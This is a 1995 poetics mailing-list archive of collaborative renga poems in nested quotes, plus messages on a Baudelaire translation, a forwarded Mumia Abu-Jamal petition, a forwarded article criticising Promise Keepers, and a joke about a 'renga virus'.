> *doused in chemicals resembling chemlab outputs straining to be*
> *loons in a lake one can see through, diving between sunrises*
> *with a modicum of surprise, as in "Mr. Chimaera, please report to the*
> * barnacle ormorderately or isn't it proper to sandwich*

↑ Index

277. Gabrielle Welford

Re: Renga 1

Tue 8 Aug 1995

On Sun, 6 Aug 1995, Sheila E. Murphy wrote:

> * In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped cream, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> * bleached ribcage ripcorded into compassed wind*
> *   kissing the weatherwoman between her breasts as she*
> *   gives gracious problem: fanatical snacks, landscape of*
> *   flicka my best friend and the storm in the glass of water's*
> *halfway pertinent incision we keep making safe for ignorance (inspection*
> *denied for not knowing how credenza was meant) & neo-colonizing*
> *pockets in small furniture intended house sequentially several*
> *mountains away but it wasn't, you know, a big tango*

↑ Index

278. **Gabrielle Welford**

Re: eR 1

Tue 8 Aug 1995

On Sun, 6 Aug 1995, Sheila E. Murphy wrote:

> *On Sat, 5 Aug 1995, Sheila E. Murphy wrote:*
>
> *On Thu, 3 Aug 1995, Thomas Bell wrote:*
>
> *On Aug 3 Hank Lazer wrote:*
>
> *On Aug 3 Marissa Januzzi wrote:*
>
> *On Thu, 3 Aug 1995, Jorge Guitart wrote:*
>
> *On Wed, 2 Aug 1995, Sheila E. Murphy wrote:*
>
> *adding to Ron Silliman's addition --*
>
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped cream, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *kissing the weatherwoman between her breasts as she*
> *gives gracious problem: fanatical snacks, landscape of*
> *<< lunar dust, the misdirected modules returning to the*
> *morning*
> *from the books out of the dreams away from the lonesome*
> *wail of the glob that cradles in its claws The Anthology*
> *of retrospective prescience sanded down to mean the elbows*
> *cleanly*
> *fit to be you or the phantasm that space foreclosed when the*
> *first sentence spilled from heaven wheat of some kind blistered and untuned*
> *by the harpie of space here for add in whatever you choose or not*

↑ Index

279. Jorge Guitart
Re: Renga 1
Tue 8 Aug 1995

On Tue, 8 Aug 1995, Gabrielle Welford wrote:

> On Sun, 6 Aug 1995, Tom Mandel wrote:
>
> > In the books were dreams and in the dreams were books.
> > And flew through windows, lightning green and fine morning
> > First inverted whistle of a cardinal in the poplar
> > The book and the oboe on the grass under sun and cloud
> > Go endlessly, an obtuse Prussian blue, it binds
> > The caravan of windows to what they flee
> > These lace curtains, more gauze than bondage, more
> > Mollycoddled than aware, thin-spined and pebbling
> > but narrow in the waist or waspish Sunday years ago
> > Over coffee topped with whipped cream, the Times blowing
> > & opining, heavy humid air, cumulus amusing against the
> > bleached ribcage ripcorded into compassed wind
> > condemmed.
> > promised what she practiced as triangular blue feats soothed
> > stunned images into form, saying a need, similar days
> > to those not before, yet stored, whose sifted haze
> burst into joyous worm worm through a papaya hot morning
not without counterbleeding the omega of the knowable

↑ Index

280. Rod Smith
Re: Renga3?
Tue 8 Aug 1995

On Sun, 6 Aug 1995, Sheila E. Murphy wrote:
On Aug 8 G Welford wrote:

> >In the books were dreams and in the dreams were books.
> >And flew through windows, lightning green and fine morning
> >would calmness be without the stain of possession and
> >The book and the oboe on the grass under sun and cloud
> >Go endlessly, an obtuse Prussian blue, it binds
> >The caravan of windows to what they flee
> >These lace curtains, more gauze than bondage, more
> >Mollycoddled than aware, thin-spined and pebbling
> >but narrow in the waist or waspish Sunday years ago

> >Over coffee topped with whipped cream, the Times blowing
> >& opining, heavy humid air, cumulus amusing against the
> >bleached ribcage ripcorded into compassed wind
> >kissing the weatherwoman between her breasts as she
> >gives gracious problem: fanatical snacks, landscape of
> >flicka my best friend and the storm in the glass of water's
> >halfway pertinent incision we keep making safe for ignorance (inspection
> >prickling with tenors, saving arrogance for free choice, long division
> >with its equally long aftertaste, or did its overtone
> collapse a wild sugar ago the fleet of cabernet oblivions for
> outrage. Marketing posture allowed gravel a way home
 My dream a drink w/ Douglas Coupland. We discuss
    "The Code of the Net"

↑ Index

281. **Pierre Joris**

Re: Baudelaire

Tue 8 Aug 1995

I sit co rrected, Jerome, of course it's an other. The space between
makes the difference indeed.
>
> Since Pierre Joris is my dear friend & sometime collaborator, let me put in
> a bid to open up the word "another" & bring it back to two words; thus:
> "I is an other." At least that's how we have it in zee big new anthology,
> Pierre: page 44 of the recently acquired bound pages -- & a much better
> entry into questions of "self" & "other."
>
> Talk to you soon.
>
> JERRY
>

==========
==========
Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne

==========
==========

↑ Index

282. **Burt Kimmelman**
Re: ringing renga
Tue 8 Aug 1995

Charles,

Only thirty rengas per day? I have sixty-two total messages today, in less than 24 hours. But if I can just see a subject heading that indicates some renga-izing is going to follow, then perhaps i can delete that message and go on. unfortunately, now some folks are using the subject headings where some non-renga-izing was taking place, so I'm really all turned around here and DROWNING IN RENGA!

AGHHH!!!

Gwyn McVay
[redacted]

↑ Index

285. **Maria Damon**
Re: Baudelaire
Tue 8 Aug 1995

In message <[redacted]> UB Poetics discussion group
writes:
> Since Pierre Joris is my dear friend & sometime collaborator, let me put in
> a bid to open up the word "another" & bring it back to two words; thus:
> "I is an other." At least that's how we have it in zee big new anthology,
> Pierre: page 44 of the recently acquired bound pages -- & a much better
> entry into questions of "self" & "other."
>
> Talk to you soon.
>
> JERRY

yay. i like this way.--md

↑ Index

286. **Wystan Curnow**
Re: Rengada
Tue 8 Aug 1995

> Ron's song to which i wish, after maria, to add:
>
> > In
> > And flew
> > First
> > The book and
> > Go endlessly,
> > The caravan
> > These lace
> > Power
> > Sight
> > would
> > Belief
> > a modicum
> > the phalarope
> > doused

> > with their
> > patching rent
> > bleating,
> but i'll go swinging
> & a-rengaing
> with my very favorite maria
> the one they call
> nomad-air-am
om gate gate parasam
guitarte nam yo ho
RENGA
kyo
rosie a gog oh
renga renga
little ripper
ich ich ich ich
the misanthrope
on a rope
in his tent a
active agent
an expletive after
explosions
the whole hokey
ball of tarts
got up to

↑ Index

287. Jonathan Brannen
Re: avoidance behavior syndrome
Tue 8 Aug 1995

Response to Willa Jarnagin,

I believe in guitar and non-standard tunings as well.

Best,
Jonathan

↑ Index

288. **Ron Silliman**
Mumia Abu-Jamal
Tue 8 Aug 1995

You don't have to be tenured (or even University affiliated) to sign this, nor from the Tri-State area. You don't (if you have followed this case at all) even have to believe in/assert Abu-Jamal's innocence. His trial and subsequent legal misadventures have been like the Worst of the 60s redux when it comes to basic travesties.

Feel free to pass this on!

Ron Silliman

Forwarding this in hope that list members will be interested in lending their support for Mumia Abu-Jamal, who remains on death row in Philadelphia even though he just yesterday received a stay of execution. Abu-Jamal was among the founders of the Philly Black Panthers in the 1960s. Prosecutors have consistently used his political writings from the 1960s and early 1970s to establish his guilt in the killing of a local police officer. If any of you doubt the relevance of Abu-Jamal's case to the topics discussed on this list, look no further than today's NYT, which explains that "The hearing, like the trial, has been haunted by the unresolved political and cultural conflicts of the 1960's and 1970's...." Marc Stein, History Departments, University of Pennsylvania/Bryn Mawr College [redacted]

SEND YOUR NAME FOR INCLUSION TO [redacted]

A M A J
Academics for Mumia Abu-Jamal

FOR IMMEDIATE ATTENTION JULY 27, 1995
CONTACTS: AMAJ Coordinator, Prof. Mark McClain Taylor, Princeton Theological Seminary, P.O. Box 821, Princeton, NJ 08542.
Phone: [redacted]. Fax: [redacted].
E-Mail: <[redacted]

PRESS RELEASE

AMAJ IS STILL GROWING WITH 200 SIGNERS:

NOW AIMING FOR HUNDREDS OF NEW NAMES !

Any faculty out there with affiliations to academic institutions, please lend your names to AMAJ, and sign on with support for the "Declaration for Mumia Abu-Jamal." Send your name and addresses to the above contacts. We are compiling names and money for large ads in THE NEW YORK TIMES and THE PHILADELPHIA INQUIRER.

AMAJ held a highly successful press conference in Philadelphia on Tuesday, July 25, 1995. Almost all the press covered us - some fairly, some not. The PHILADELPHIA INQUIRER published a story on us under the heading, "Academics, 144 Strong Seek New Trial". We are not only getting our position out there, we are getting a saner speech out into the public arena, to counter the incendiary bloodlust of Philadelphia Mayor Rendell and of Pennsylvania Governor Tom Ridge.

Special respect goes out to the Philadelphia-based faculty who led the way and addressed the press eloquently: from the University of Pennsylvania, Ann Farnsworth-Alvear (History), Farah Griffin (English), E. Ann Matter (Religious Studies and Womens Studies), Antonio McDaniel (Sociology), and Ines Salazar (English), and from Temple University were Rebecca Alpert (Women's Studies), and Daniel Tompkins (Classics), and from Swarthmore College, Mark Wallace (Religious Studies).

Here is the "Declaration" we have been presenting to the press, and which we hope you can sign:

A DECLARATION FOR MUMIA ABU-JAMAL

Across our many differences as scholars and citizens, we in unity declare our concern that full and deliberate justice be extended to Mr. Mumia Abu-Jamal.

As faculty of the tri-state area of Pennsylvania/New Jersey/New York, and increasingly throughout the nation and world, we - PROTEST Governor Ridge's signing of Mr. Abu-Jamal's death warrant.

- DEMAND Judge Sabo's removal from the case.

- CALL for a stay of execution AND a new trial.

======== END DECLARATION ========

Some prominent signers include Manning Marable, Henry Louis Gates, Jr., Cornel West, Houston A. Baker, Jr., Nell Painter, Richard A. Falk, Molefi Asante. The main point, though, is that MANY of us are signing this for Mumia and for what he stands. Send your name now if you can.

Mark McClain Taylor, AMAJ Coordinator
Princeton Theological Seminary ***** NOTES from TAYLOR,MARK (MARK

TAYLOR @
TEMPLE) at 7/27/95 1:58p

^^^

> the richness of the notion of island culture.
> Wystan

Gabrielle

↑ Index

290. Jonathan Brannen
Re: Baudelaire
Tue 8 Aug 1995

Ira,
Who published the Nicholas Moore book Spleen?

Best
Jonathan

↑ Index

291. Gabrielle Welford
more crazies (fwd)
Tue 8 Aug 1995

---

speaking of gender, more to be scared by... Gab.

The promise keepers held a rally in Houston at the Astro Dome recently. Fourty two thousand paid approx. $50 a head to attend. With that kind of money the crazies can get people like Dole and Green Wrench to do almost any thing!

REPRINTED WITH PERMISSION IN GROUND ZERO NEWS, THE PUBLICATION OF GROUND ZERO, A GAY AND LESBIAN ADVOCACY ORGANISATION IN THE BELLY OF THE BEAST, (THE VATICAN OF FUNDAMENTALISM), COLORADO SPRINGS COLORADO. ADDRESS CORRESPONDENCE TO: GZ P. O. BOX 1982, COLORADO SPRINGS, CO 80901 [redacted] FAX: [redacted] EMAI;: [redacted]..COM

By Russ BELLANT*
Mania in the Stadia:
The Origins and Goals of Promise Keepers**

Promise Keepers is a rapidly growing Christian men's movement that last year rallied about 300,000 men, filling six football stadia in colorful displays of male "spiritual renewal." The group plans to double the number of participants and stadium events in 1995. While projecting an image of spirituality, leaders of Promise Keepers seem to be bent on gaining social and political power. In the world of Promise Keepers, men are to submit to a cell group that in turn is closely controlled by a national hierarchy. Most important, women are to submit absolutely to their husbands or fathers. Promise Keepers may be the

strongest, most organized effort to capitalize on male backlash in the country today. Conceived by University of Colorado football coach Bill McCartney in 1990 Promise Keepers says men should "reclaim" authority from their wives - to whom they have supposedly ceded too much. Bill McCartney's goal in 1990 was to fill a sports stadium with Christian men to exhort them into his philosophy. The following year, he attracted 4,200 men to a basketball arena; 22,000 men came to Boulder's Folsom Stadium in 1992,1 followed by 50,000 men in 1993. Promoted by powerful elements of the Religious Right, Promise Keepers filled six stadia in 1994; the largest event was in the Hoosier Dome in Indianapolis, which drew 62,000 men. The only women present were custodians and concession stand workers.2 So far in 1995, Promise Keepers events in Detroit and Los Angeles have drawn over 72,000 each.# (Ed. Note--Denver recently exceeded expectations) Don't Ask, Take The manifesto of the movement is Seven Promises of a Promise Keeper, a book published for the group by James Dobson's organization, Focus on the Family.4 Evangelist Tony Brown, in his contributing essay, explains how to deal with women. "I can hear you saying, 'I want to be a spiritually pure man. Where do I start?' The first thing you do," Brown explains, "is sit down with your wife and say something like this: 'Honey I've made a terrible mistake. I've given you my role. I gave up leading this family, and I forced you to take my place. Now I must reclaim that role.' Don't misunderstand what I'm saying here. I'm not suggesting that you ask for your role back, I'm urging you to take it back." [Emphasis in the original].5 While insisting to male readers that there is to be "no compromise" on authority, he suggests that women readers submit for the "survival of our culture." Total Submission While serving as an assistant football coach at the University of Michigan in Ann Arbor, Bill McCartney encountered and was deeply influenced by the Word of God (WOG) community. McCartney has said that WOG leader Jim Berlucci is one of the two men who most influenced his life.6 WOG, a select and insular group of about 1,600 adults, practiced "shepherding/discipleship," which required total submission to a person called the "head." Members were required to submit their schedules in advance and account for every hour of every day. Marriage partner, movie choices, jobs, and other decisions also had to be approved by this leader. Members who questioned authority or women who questioned their extreme submission to men, were subject to often traumatic "exorcisms." WOG members were trained to see the world with suspicion and contempt - as an enemy. They believed that they were specially chosen by God to fight the Antichrist.7 When McCartney was hired by the University of Colorado, WOG introduced him to the WOG-linked "Vineyard" church, which has a parish in Boulder. Vineyard churches emphasize "signs and wonders" and "prophecy." Vineyard leader John Wimber calls their work "power evangelism" and describes his followers as "self-conscious members of God's army, sent to do battle against the forces of the

kingdom of darkness. "One is either in God's Kingdom," Wimber insists, "or Satan's."8 "The Purpose of War" McCartney's pastor at the Boulder Valley Vineyard, Rev. James Ryle, whom McCartney says is the other major influence in his life,9 conducts a ".prophetic" ministry and participates in conferences with men who claim to be prophets in the Ist-century sense of the term.IO Ryle believes Promise Keepers, of which he is a board member,11 is the fulfillment of the biblically prophesied end-time army described in the book of Joel - a terrifying army from which there is no escape. "Never have 300,000 men come together throughout human history, he declared, "except for the purpose of war." He says he has a vision of Promise Keepers purging America of secularism, which he con- siders "an abortion" of godliness.12 Ryle spoke last year at a secret Colorado conclave to plan anti-gay/lesbian electoral strategies. He said, "America is in the midst of a cultural revolution, which has poised our nation precariously on the brink of moral chaos, which is caused by what I am referring to as the crisis of homosexuality."13 While Promise Keepers is not currently a political force in its own right, McCartney leads by example. He has repeatedly attacked reproductive rights,14 and he campaigned for the 1992 anti-gay Amendment 2 ballot initiative as a member of the board of Colorado for Family Values, the sponsor of the initiative.15 His rally addresses have been uncompromising, "Take the nation for Jesus Christ," he directed in 1992.16 The following year he said, "What you are about to hear, is God's word to the men of this nation. We are going to war as of tonight. We have divine power; that is our weapon. We will not compromise. Wherever truth is at risk, in the schools or legislature, we are going to contend for it. We will win "17 No less militant is Promise Keepers co-founder Dave Wardell18 who told The Denver Post, "We want our nation to return to God. We're drawing a line in the sand here.... There has already been controversy about abortion and homosexuality. I hope there won't be any physical confrontations..... 19 Something Like Punching Your Lights Out Promise Keepers' national staff has grown rapidly from a handful to 150, with a $22 million budget.20 But its significance is primarily at the local and church levels. Promise Keepers urges men to form "accountability" groups of no more than five members, within which they are expected to submit all aspects of their lives to review and rebuke. Each member must answer any probes concerning his marriage, family, finances, sexuality, or business activity.21 (GZN Ed Note.: Such cells are said to exist at Focus on the Family among their employees and an employee that takes such things outside of their cell to discuss is in serious trouble.) Such cells, usually operating within a church or parachurch group, are led by a "Point Man" who answers to an "Ambassador" who reports to headquarters in Boulder. Decisions about local or state activity are ultimately made in Boulder.22 "All of our success here is contingent upon men taking part in small groups when they return home," Promise Keepers spokesman Steve Chavis told Christianity Today. Less

elegantly, Dave Wardell, the national coordinator for local leaders, explains, "I can go home and maybe still be the same guy after a conference. But if I have another guy calling up, holding me accountable, asking, 'How are you treating your wife? Are you still cheating on your income taxes? Are you looking at your secretaries with lust?' it makes a difference. I don't think a woman would get in my face, go toe to toe with a guy, whereas a guy could tell me, 'I don't like it. And if you don't lis- ten to me, I'll punch your lights out.' Something like that."23 These principles and structure, which are similar to the shepherding/ discipleship model of the Word of God, would take years to implement and introduce a highly disciplined group. Most men drawn to Promise Keepers have probably never heard of shepherding/discipleship (which is still not widely known even within the evangelical community)24 and may be deeply offended if they experience the degree of manipulation and control (to which they may be "submitting" themselves and their families) as has occurred in many shepherding/disciple situations. Trojan Horses? Top Christian Right leaders in the last year have, joined Dobson in promoting Promise Keepers. These have notably included Pat Robertson of the Christian Coalition and 700 Club, D. James Kennedy of Coral Ridge Ministries, and Bill Bright of Campus Crusade for Christ. Dobson, who along with Robertson, Kennedy, and Bright, is a member of the secretive, radical-right Council for National Policy, 25 is a central figure in Promise Keepers. Not only is he the publisher of the main text of the movement, he is a featured speaker at Promise Keeper events, which in turn sell tapes of his speeches. Focus on the Family's network of political action groups, called community Impact Committees function much like Promise Keepers' cell groups within conservative churches. Largely invisible to individuals outside these churches, these committees are organized at the state and regional levels and controlled from Colorado.26 Both Dobson's Community Impact Committees and the Promise Keepers cells are potential Trojan horses within churches and denominations, creating conflicting loyalties and lines of authority. Leaders of Promise Keepers, in particular, comes out of a movement that sees denominations as inhibiting evangelism and revivalism. Indicative of this is its use of Strang Communications to publish New Man magazine. Strang's Charisma magazine is contemptuous of traditional denominations. The senior editor of Strang's New Ministries magazine, Jack Hayford, is also on the board of Promise Keepers. Promise Keepers has scheduled more than a dozen rallies for purity, fidelity and possibly social and political dominion for 1995. Promise Keepers had planned for over a year to draw one million men to a march in Washington, D.C. just prior to the November 1996 elections. Now postponed, the plans were evidently mod- eled after the Christian Right rallies called Washington for Jesus which had similar backing and were held during the presidential elections in 1980 and 1988.27 Considering the high-level backing by the leadership of the Christian Right, and

the anti-democratic views of Promise Keepers' leaders, this movement ought not be underestimated. * Author Russ Bellant is well known in progressive circles as a major resource on the Radical Right. Two of his books, THE COORS CONNECTION and THE RELIGIOUS RIGHT, are staples in the Ground Zero News Reference Library and we have worn out several copies of each. **This article, as well as the article on Operation Rescue on P. 5 is taken from Front Lines Research, Vol. 1, Number 5, May, 1995 Issue. FLR is a publication of the Public Policy Institute, a project of Planned Parenthood Federation of America. Subscriptions are $35 per year ($18 low income), delivered by First Class Mail. Checks should be made to PPFA/Public Policy Institute., and should be sent with your request to FLR, 14th Floor, 810 7th Avenue, New York, New York 10019.

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292. **Louis Cabri**

Re: Renga3?

Tue 8 Aug 1995

[B[B>
> > >In the books were dreams and in the dreams were books.
> > >And flew through windows, lightning green and fine morning
> > >would calmness be without the stain of possession and
> > >The book and the oboe on the grass under sun and cloud
> > >Go endlessly, an obtuse Prussian blue, it binds
> > >The caravan of windows to what they flee
> > >These lace curtains, more gauze than bondage, more
> > >Mollycoddled than aware, thin-spined and pebbling
> > >but narrow in the waist or waspish Sunday years ago
> > >Over coffee topped with whipped cream, the Times blowing
> > >& opining, heavy humid air, cumulus amusing against the
> > >bleached ribcage ripcorded into compassed wind
> > >kissing the weatherwoman between her breasts as she
> > >gives gracious problem: fanatical snacks, landscape of
> > >flicka my best friend and the storm in the glass of water's
> > >halfway pertinent incision we keep making safe for ignorance (inspection
> > >prickling with tenors, saving arrogance for free choice, long division
> > >with its equally long aftertaste, or did its overtone
> > collapse a wild sugar ago the fleet of cabernet oblivions for
> > outrage. Marketing posture allowed gravel a way home
> My dream a drink w/ Douglas Coupland. We discuss
> "The Code of the Net"

>Snared in proselike flackjacket fashionwear, pockets of
reverberating syllables

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293. **Jorge Guitart**
Re: Renga 1
Tue 8 Aug 1995

On Tue, 8 Aug 1995, Gabrielle Welford wrote:

> On Sun, 6 Aug 1995, Jorge Guitart wrote:
>
> > On Sat, 5 Aug 1995, Sheila E. Murphy wrote:
> >
> > > >> > > > In the books were dreams and in the dreams were books.
> > > >> > > >> And flew through windows, lightning green and fine morning
> > > >> > > >> First inverted whistle of a cardinal in the poplar
> > > >> > > >> The book and the oboe on the grass under sun and cloud
> > > >> > > >> Go endlessly, an obtuse Prussian blue, it binds
> > > >> > > >> The caravan of windows to what they flee
> > > >> > > >> These lace curtains, more gauze than bondage, more
> > > >> > > >> Mollycoddled than aware, thin-spined and pebbling
> > > >> > > >> but narrow in the waist or waspish Sunday years ago
> > > >> > > >> Over coffee topped with whipped cream, the Times blowing
> > > >> > > > & opining, heavy humid air, cumulus amusing against the
> > > >> > > bleached ribcage ripcorded into compassed wind
> > > >> > kissing the weatherwoman between her breasts as she
> > > >> gives gracious problem: fanatical snacks, landscape of
> > > >> flicka my best friend and the storm in the glass of water's
> > > halfway pertinent incision we keep making safe for ignorance (inspection
> > > denied for not knowing how credenza was meant) & neo-colonizing
> > who do you think is at the end of this shaft if it isn't
the distal nude and the proximal guano but you and I were about to

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294. **Jorge Guitart**
Re: Renga2?
Tue 8 Aug 1995

On Tue, 8 Aug 1995, Gabrielle Welford wrote:

> On Sun, 6 Aug 1995, Jorge Guitart wrote:
>
> > On Sat, 5 Aug 1995, Charles Alexander wrote:

> >
> > > In the books were dreams and in the dreams were books.
> > > And flew through windows, lightning green and fine morning
> > > First inverted whistle of a cardinal in the poplar
> > > The book and the oboe on the grass under sun and cloud
> > > Go endlessly, an obtuse Prussian blue, it binds
> > > The caravan of windows to what they flee
> > > These lace curtains, more gauze than bondage, more
> > > Power to the spider, virtuous in act if not intent
> > > Sight over sound for "justice," O cubes of Cuba! Where
> > > would calmness be without the stain of possession and
> > > Belief. A mirage effect, art, made to waver in
> > > a modicum of chocolate milk. Not too late for
> > > the phalarope, anodyne, cynesure, palindrome or rapturous whatnots
> > > doused in chemicals resembling chemlab outputs straining to be
> > > loons in a lake one can see through, diving between sunrises
> > > with a modicum of surprise, as in "Mr. Chimaera, please report to the
> > barnacle ormorderately or isn't it proper to sandwich
our time with the ice people and decide later about the opheliacs

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295. **Jorge Guitart**
Re: Renga 1
Tue 8 Aug 1995

On Tue, 8 Aug 1995, Gabrielle Welford wrote:

> On Sun, 6 Aug 1995, Sheila E. Murphy wrote:
>
> > >> >> > > > In the books were dreams and in the dreams were books.
> > >> >> > > >> And flew through windows, lightning green and fine morning
> > >> >> > > >> First inverted whistle of a cardinal in the poplar
> > >> >> > > >> The book and the oboe on the grass under sun and cloud
> > >> >> > > >> Go endlessly, an obtuse Prussian blue, it binds
> > >> >> > > >> The caravan of windows to what they flee
> > >> >> > > >> These lace curtains, more gauze than bondage, more
> > >> >> > > >> Mollycoddled than aware, thin-spined and pebbling
> > >> >> > > >> but narrow in the waist or waspish Sunday years ago
> > >> >> > > >> Over coffee topped with whipped cream, the Times blowing
> > >> >> > > > & opining, heavy humid air, cumulus amusing against the
> > >> >> > > bleached ribcage ripcorded into compassed wind

> > >> >> > kissing the weatherwoman between her breasts as she
> > >> >> gives gracious problem: fanatical snacks, landscape of
> > >> >> flicka my best friend and the storm in the glass of water's
> > >> halfway pertinent incision we keep making safe for ignorance (inspection
> > >> denied for not knowing how credenza was meant) & neo-colonizing
> > pockets in small furniture intended house sequentially several
> > mountains away but it wasn't, you know, a big tango-
izing of experience but landscape generosity and wetware chastity
>

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296. **Jorge Guitart**

Re: eR 1

Tue 8 Aug 1995

On Tue, 8 Aug 1995, Gabrielle Welford wrote:

> On Sun, 6 Aug 1995, Sheila E. Murphy wrote:
>
> > >On Sat, 5 Aug 1995, Sheila E. Murphy wrote:
> > >
> > >> >On Thu, 3 Aug 1995, Thomas Bell wrote:
> > >> >
> > >> >> On Aug 3 Hank Lazer wrote:
> > >> >>
> > >> >> On Aug 3 Marissa Januzzi wrote:
> > >> >>
> > >> >> > On Thu, 3 Aug 1995, Jorge Guitart wrote:
> > >> >> >
> > >> >> > > On Wed, 2 Aug 1995, Sheila E. Murphy wrote:
> > >> >> > >
> > >> >> > > > >adding to Ron Silliman's addition --
> > >> >> > > > >
> > >> >> > > > > In the books were dreams and in the dreams were books.
> > >> >> > > >> And flew through windows, lightning green and fine morning
> > >> >> > > >> First inverted whistle of a cardinal in the poplar
> > >> >> > > >> The book and the oboe on the grass under sun and cloud
> > >> >> > > >> Go endlessly, an obtuse Prussian blue, it binds
> > >> >> > > >> The caravan of windows to what they flee
> > >> >> > > >> These lace curtains, more gauze than bondage, more

> > >> >> > > > >> Mollycoddled than aware, thin-spined and pebbling
> > >> >> > > > >> but narrow in the waist or waspish Sunday years ago
> > >> >> > > > >> Over coffee topped with whipped cream, the Times blowing
> > >> >> > > > > & opining, heavy humid air, cumulus amusing against the
> > >> >> > > > bleached ribcage ripcorded into compassed wind
> > >> >> > > kissing the weatherwoman between her breasts as she
> > >> >> > gives gracious problem: fanatical snacks, landscape of
> > >> >> ><< lunar dust, the misdirected modules returning to the
> > >> >> morning
> > >> >> from the books out of the dreams away from the lonesome
> > >> >> wail of the glob that cradles in its claws The Anthology
> > >> >> of retrospective prescience sanded down to mean the elbows
> > cleanly
> > >> fit to be you or the phantasm that space foreclosed when the
> > first sentence spilled from heaven wheat of some kind blistered and untuned
> > by the harpie of space here for add in whatever you choose or not
but don't single out the dog waiting to happen and the free mildew

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297. **Jorge Guitart**
Re: Renga3?
Tue 8 Aug 1995

On Tue, 8 Aug 1995, Rod Smith wrote:

> On Sun, 6 Aug 1995, Sheila E. Murphy wrote:
> On Aug 8 G Welford wrote:
>
> > >In the books were dreams and in the dreams were books.
> > >And flew through windows, lightning green and fine morning
> > >would calmness be without the stain of possession and
> > >The book and the oboe on the grass under sun and cloud
> > >Go endlessly, an obtuse Prussian blue, it binds
> > >The caravan of windows to what they flee
> > >These lace curtains, more gauze than bondage, more
> > >Mollycoddled than aware, thin-spined and pebbling
> > >but narrow in the waist or waspish Sunday years ago
> > >Over coffee topped with whipped cream, the Times blowing
> > >& opining, heavy humid air, cumulus amusing against the
> > >bleached ribcage ripcorded into compassed wind
> > >kissing the weatherwoman between her breasts as she

> > >gives gracious problem: fanatical snacks, landscape of
> > >flicka my best friend and the storm in the glass of water's
> > >halfway pertinent incision we keep making safe for ignorance (inspection
> > >prickling with tenors, saving arrogance for free choice, long division
> > >with its equally long aftertaste, or did its overtone
> > collapse a wild sugar ago the fleet of cabernet oblivions for
> > outrage. Marketing posture allowed gravel a way home
> My dream a drink w/ Douglas Coupland. We discuss "The Code of the Net"
  and he is transparent like Victor the Vector getting home

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298. Charles Alexander

Re: Renga 1

Wed 9 Aug 1995

On Tue, 8 Aug 1995, Charles Alexander wrote:

On Tue, 8 Aug 1995 23:26:11 -0400,
Jorge Guitart <[redacted]> wrote:

> *On Tue, 8 Aug 1995, Gabrielle Welford wrote:*
>
> *On Sun, 6 Aug 1995, Jorge Guitart wrote:*
>
> *On Sat, 5 Aug 1995, Sheila E. Murphy wrote:*
>
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped cream, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *kissing the weatherwoman between her breasts as she*
> *gives gracious problem: fanatical snacks, landscape of*
> *flicka my best friend and the storm in the glass of water's*
> *halfway pertinent incision we keep making safe for ignorance (inspection*
> *denied for not knowing how credenza was meant) & neo-colonizing*
> *who do you think is at the end of this shaft if it isn't*
> *the distal nude and the proximal guano but you and I were about to*
> *tango in a thunderstorm, lightning be damned, forget my skin, ask*

```
charles alexander                    [===========^^============]
                                [          <>          ]
chax press                           [  maybe a  <>  pages     ]
                                [     time  <>  letters   ]
phone & fax: [redacted]              [     upon  <>  frames    ]
                                [     once  <>  motion    ]
e-mail: [redacted]           [          <>          ]
                                [===========vv============]
```

↑ Index

299. **maria damon**

Re: more crazies (fwd)

Wed 9 Aug 1995

> *speaking of gender, more to be scared by... Gab.*

etc.

oy.
m

↑ Index

300. **Colleen Lookingbill**

Re: Canessa is in S.F.

Wed 9 Aug 1995

Sorry to the list - Canessa Park is in San Francisco. The address is 708 Montgomery Street, and the phone # for more info is [redacted].

↑ Index

301. **Thomas Bell**

Re: ringing renga

Wed 9 Aug 1995

On Aug 8 Burt Kimmelman wrote
....
AGHHH!!!

discovered and it can be removed! Contact [redacted] for a visusrenag remover - 77 Mexican dollars

↑ Index

302. Thomas Bell
rengafication
Wed 9 Aug 1995

First
the
list,
then the
world

VIRUSALERT.
Ryan Knighton wrote

> *Oh mY, everything is now subject to rengafication!*
> *Identity crises abound.*

↑ Index

303. Kevin Killian
Re: ringing renga
Wed 9 Aug 1995

On Aug 9 Thomas Bell wrote

> *Aftrer courageous efforts by allnight workers in Mexico City*
> *a cure to the renbga virus was found, saving millions of users*
> *worldwide . The source was discovered and it can be removed!*
> *Contact [redacted] for a visusrenag remover - 77 Mexican dollars*

I don't want to sound like the pc-police here, but does this sound a bit racist to anyone else?

Dodie Bellamy

↑ Index

304. Lindz Williamson
A cure will be here soon my friends
Wed 9 Aug 1995

> *Dateline. Washington EFF 9/1/95 1500EST*
>
> *Aftrer courageous efforts by allnight workers in Mexico City*
> *a cure to the renbga virus was found, saving millions of users*
> *worldwide . The source was discovered and it can be removed!*

> *Contact [redacted] for a visusrenag remover - 77 Mexican dollars*

